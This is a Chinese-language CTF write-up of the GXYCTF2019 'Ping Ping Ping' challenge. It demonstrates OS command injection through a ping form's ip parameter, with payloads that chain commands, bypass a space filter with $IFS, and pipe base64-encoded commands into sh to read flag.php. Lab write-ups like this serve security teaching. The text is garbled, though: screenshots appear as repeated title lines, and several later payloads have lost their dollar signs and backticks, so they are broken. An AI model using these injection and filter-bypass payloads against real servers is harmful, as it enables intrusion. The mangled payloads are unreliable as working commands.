[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

题目:

引入眼帘的是一片空白,只有/?id=
[GXYCTF2019]Ping Ping Ping
看到/?ip=、随便构造一个payload
[GXYCTF2019]Ping Ping Ping

分析:

考点是远程命令执行?继续尝试改造payload
[GXYCTF2019]Ping Ping Ping
老老实实走常规路线,查看目录文件,找到flag.php
[GXYCTF2019]Ping Ping Ping
无法直接cat flag.php
[GXYCTF2019]Ping Ping Ping

解题:

考绕过的知识点?

命令执行漏洞利用及绕过方式总结

  • 空格过滤

paload ==> ?ip=1;cat$IFS$1index.php
[GXYCTF2019]Ping Ping Ping
成功访问、给了提示、bash、flag、和一些字符被过滤掉了 ==> 用sh和其他编码试试(bash的软链接)

  • base64 编码
    [GXYCTF2019]Ping Ping Ping
    payload ==> ?ip=1;echo%20%22Y2F0IGZsYWcucGhw%22|base64%20-d|sh
    [GXYCTF2019]Ping Ping Ping
    应该是要结合一下$IFS$1空格过滤

payload => ?ip=1;echo$IFS1Y2F0IGZsYWcucGhwbase641Y2F0IGZsYWcucGhw|base64IFS$1-d|sh

payload => ?ip=1;echo$IFS1Y2F0IGZsYWcucGhwbase641“Y2F0IGZsYWcucGhw”|base64IFS$1-d|sh
[GXYCTF2019]Ping Ping Ping

难道是cat flag.php改成catflagphp ???

payload => ?ip=1;echo$IFS1Y2F0ZmxhZy5waHA=base641Y2F0ZmxhZy5waHA=|base64IFS$1-d|sh
[GXYCTF2019]Ping Ping Ping

这不科学

  • 内敛执行

payload ==> ?ip=1;cat$IFS$1ls
[GXYCTF2019]Ping Ping Ping